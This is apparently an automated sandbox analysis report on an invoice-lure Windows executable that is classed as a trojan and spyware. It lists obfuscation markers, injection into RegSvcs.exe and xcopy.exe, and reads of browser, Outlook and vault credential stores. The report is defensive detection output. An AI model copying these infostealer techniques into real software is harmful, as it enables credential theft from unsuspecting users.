Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BF7B0 6_2_030BF7B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03045630 6_2_03045630
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B16CC 6_2_030B16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B7571 6_2_030B7571
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FF1460 6_2_02FF1460
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0309D5B0 6_2_0309D5B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030C95C3 6_2_030C95C3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BF43F 6_2_030BF43F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BFB76 6_2_030BFB76
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0301FB80 6_2_0301FB80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03075BF0 6_2_03075BF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0303DBF9 6_2_0303DBF9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BFA49 6_2_030BFA49
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B7A46 6_2_030B7A46
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03073A6C 6_2_03073A6C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03045AA0 6_2_03045AA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0309DAAC 6_2_0309DAAC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030A1AA3 6_2_030A1AA3
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030ADAC6 6_2_030ADAC6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03095910 6_2_03095910
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03009950 6_2_03009950
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0301B950 6_2_0301B950
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0306D800 6_2_0306D800
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030038E0 6_2_030038E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BFF09 6_2_030BFF09
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03001F92 6_2_03001F92
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BFFB1 6_2_030BFFB1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC3FD5 6_2_02FC3FD5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC3FD2 6_2_02FC3FD2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03009EB0 6_2_03009EB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03003D40 6_2_03003D40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B1D5A 6_2_030B1D5A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030B7D73 6_2_030B7D73
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0301FDC0 6_2_0301FDC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_03079C32 6_2_03079C32
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_030BFCF2 6_2_030BFCF2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02811BE0 6_2_02811BE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0280CB30 6_2_0280CB30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0280ADC6 6_2_0280ADC6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0280ADD0 6_2_0280ADD0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0280CD50 6_2_0280CD50
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02815230 6_2_02815230
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0282B7E0 6_2_0282B7E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281346B 6_2_0281346B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02813470 6_2_02813470
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02E0E238 6_2_02E0E238
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02E0E353 6_2_02E0E353
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02E0E6EC 6_2_02E0E6EC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02E0D7B8 6_2_02E0D7B8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02E0E4C2 6_2_02E0E4C2
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01025130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 00FDB970 appears 280 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0105EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0106F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01037E54 appears 102 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 03047E54 appears 111 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 0307F290 appears 105 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 0306EA12 appears 86 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 02FEB970 appears 280 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 03035130 appears 58 times
Sample file is different than original file name gathered from version info
Source: Due Payment Invoice PISS2024993.exe, 00000000.00000002.2200867109.0000000004B86000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs Due Payment Invoice PISS2024993.exe
Source: Due Payment Invoice PISS2024993.exe, 00000000.00000002.2197154165.000000000152E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs Due Payment Invoice PISS2024993.exe
Source: Due Payment Invoice PISS2024993.exe, 00000000.00000002.2204771229.0000000007970000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs Due Payment Invoice PISS2024993.exe
Source: Due Payment Invoice PISS2024993.exe Binary or memory string: OriginalFilenameIaWe.exe> vs Due Payment Invoice PISS2024993.exe
Uses 32bit PE files
Source: Due Payment Invoice PISS2024993.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Due Payment Invoice PISS2024993.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.SetAccessControl
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.AddAccessRule
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, DElvwy9pvaF1D0fn6T.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.SetAccessControl
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.AddAccessRule
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, DElvwy9pvaF1D0fn6T.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.SetAccessControl
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, vLnWLW2yVODsKcu4eY.cs Security API names: _0020.AddAccessRule
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, DElvwy9pvaF1D0fn6T.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@7/2@10/9
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Due Payment Invoice PISS2024993.exe.log Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Mutant created: NULL
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Mutant created: \Sessions\1\BaseNamedObjects\GCWzYULjgNhXJByAfbtd
Source: C:\Windows\SysWOW64\xcopy.exe File created: C:\Users\user\AppData\Local\Temp\56Q8T4H Jump to behavior
Source: Due Payment Invoice PISS2024993.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Due Payment Invoice PISS2024993.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Program Files\Mozilla Firefox\firefox.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: xcopy.exe, 00000006.00000002.3911641445.0000000002A66000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000003.2596131463.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3911641445.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000003.2598601470.0000000002A43000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Due Payment Invoice PISS2024993.exe ReversingLabs: Detection: 34%
Source: unknown Process created: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe "C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe"
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe"
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe" Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ifsutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Due Payment Invoice PISS2024993.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Due Payment Invoice PISS2024993.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Due Payment Invoice PISS2024993.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: xcopy.pdbUGP source: RegSvcs.exe, 00000003.00000002.2419859326.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000003.2491694752.0000000000B18000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: IaWe.pdb source: Due Payment Invoice PISS2024993.exe
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: cJjnESPXORw.exe, 00000005.00000002.3911462074.000000000009E000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000003.00000002.2420137420.0000000000FB0000.00000040.00001000.00020000.00000000.sdmp, xcopy.exe, 00000006.00000003.2419783426.0000000002C51000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3912829245.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, xcopy.exe, 00000006.00000003.2422109688.0000000002E0C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3912829245.000000000315E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: IaWe.pdbSHA256J source: Due Payment Invoice PISS2024993.exe
Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000003.00000002.2420137420.0000000000FB0000.00000040.00001000.00020000.00000000.sdmp, xcopy.exe, xcopy.exe, 00000006.00000003.2419783426.0000000002C51000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3912829245.0000000002FC0000.00000040.00001000.00020000.00000000.sdmp, xcopy.exe, 00000006.00000003.2422109688.0000000002E0C000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000006.00000002.3912829245.000000000315E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: xcopy.pdb source: RegSvcs.exe, 00000003.00000002.2419859326.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000003.2491694752.0000000000B18000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: Due Payment Invoice PISS2024993.exe, formMain.cs .Net Code: InitializeComponent
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, vLnWLW2yVODsKcu4eY.cs .Net Code: N6OjbSajQP System.Reflection.Assembly.Load(byte[])
Source: 0.2.Due Payment Invoice PISS2024993.exe.4310b90.1.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Due Payment Invoice PISS2024993.exe.7970000.4.raw.unpack, vLnWLW2yVODsKcu4eY.cs .Net Code: N6OjbSajQP System.Reflection.Assembly.Load(byte[])
Source: 0.2.Due Payment Invoice PISS2024993.exe.5e20000.3.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Due Payment Invoice PISS2024993.exe.4dbd090.0.raw.unpack, vLnWLW2yVODsKcu4eY.cs .Net Code: N6OjbSajQP System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: Due Payment Invoice PISS2024993.exe Static PE information: 0xC0E554B8 [Wed Jul 20 15:41:44 2072 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_05839738 push eax; mov dword ptr [esp], ecx 0_2_0583973C
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098D39D1 push 5DE58B90h; ret 0_2_098D3A43
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Code function: 0_2_098DFCEB push ecx; retf 0_2_098DFCEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00418261 push ds; retf 3_2_00418263
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00403200 push eax; ret 3_2_00403202
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_004164C3 push edx; ret 3_2_004164C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040CD46 push es; ret 3_2_0040CD47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00415D76 pushad ; iretd 3_2_00415D7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00401E34 push edi; ret 3_2_00401E35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0042CF43 push edi; iretd 3_2_0042CF4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00415F6B push ecx; retf 3_2_00416090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0040CF8F push esp; retf 3_2_0040CFAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE09AD push ecx; mov dword ptr [esp], ecx 3_2_00FE09B6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC225F pushad ; ret 6_2_02FC27F9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC27FA pushad ; ret 6_2_02FC27F9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC283D push eax; iretd 6_2_02FC2858
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FF09AD push ecx; mov dword ptr [esp], ecx 6_2_02FF09B6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02FC1200 push eax; iretd 6_2_02FC1369
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0282059E push esi; retf 6_2_0282059F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02820997 push ebx; retf 6_2_028209B2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_028212AE push FFFFFFA5h; retf 6_2_028212B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_028132C0 push edx; ret 6_2_028132C1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281505E push ds; retf 6_2_02815060
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02821693 push edx; iretd 6_2_028216AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281B6A7 push ss; ret 6_2_0281B6B4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_028216B0 push edx; iretd 6_2_028216AF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281B6B6 push ss; ret 6_2_0281B6B4
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02821445 push ecx; ret 6_2_02821446
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02815AA0 push esi; retn 9B70h 6_2_02815B2E
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_02809B43 push es; ret 6_2_02809B44
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 6_2_0281B894 push cs; retf 6_2_0281B895
Source: Due Payment Invoice PISS2024993.exe Static PE information: section name: .text entropy: 7.948212011277769
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, OErDEAHAaixDDZDpW6W.cs High entropy of concatenated method names: 'hJUrPitfen', 'QUmr8arfaY', 'VA1rb8dJRp', 'KOIr4uwHJZ', 'M8yrEY9PmM', 'yqIr0rDiW7', 'bPkrSuqGXo', 'Rjpr93UDgL', 'yfdr1RMnuN', 'vu5rka9isO'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, VJhkqlRvoiRrIBqcn4.cs High entropy of concatenated method names: 'sW5KdBCTwj', 'hRPKBpEsD8', 'TNCKfEWMIU', 'nLOKyVZfbN', 'WyHK23IEbL', 'AXZf3BGDqE', 'X2qfOQaOx3', 'd52fwIYQY8', 'VV1fCPlqEY', 'S7TfcBYRmm'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, AKVktvULoa69tmbaIo.cs High entropy of concatenated method names: 'FmPb8a6XH', 'SRA4ZZGFY', 'jRN0BWAHX', 'tc7Si6ujM', 'M201BVRyl', 'k7pkvxvAu', 'zS6AndXmnMEks7F2H9', 'yEYQNVrLfjTM3GsuJh', 'Af3xxk2y5', 'ACyDcCPAy'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, uJRIXsC8TSse2Ng2qT.cs High entropy of concatenated method names: 'A5ExMtQN08', 'nc3xB5hLJt', 'o0FxgqWVSN', 'ts2xfWoh3Y', 'KbpxK3N9MI', 'bHpxyODs1Z', 'WIox2R6Wpo', 'dxNxuowIPQ', 'lKlxo1N2FB', 'D1txGPO5Kh'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, fZJaniaQLt3UYFjfdV.cs High entropy of concatenated method names: 'SRPyMNVpco', 'ldtygS8RYK', 'xmJyKG13oS', 'kaWKXU4mmT', 'DBcKz8OnsE', 'f1PyA9YicJ', 'U0oyHGiTDt', 'P2YyUijDIm', 'qvUylCHbd9', 'p4NyjQx80s'
Source: 0.2.Due Payment Invoice PISS2024993.exe.4e44cb0.2.raw.unpack, TLDvs0HlNPohFsLdrmN.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Ik8D5TxjbQ', 'GoWDnCplur', 'eZdDsK35cN', 'YLID6MG8Cq', 'sqCD3Ahmh4', 'kjVDO0uEfe', 'M6lDwFW0Zn'
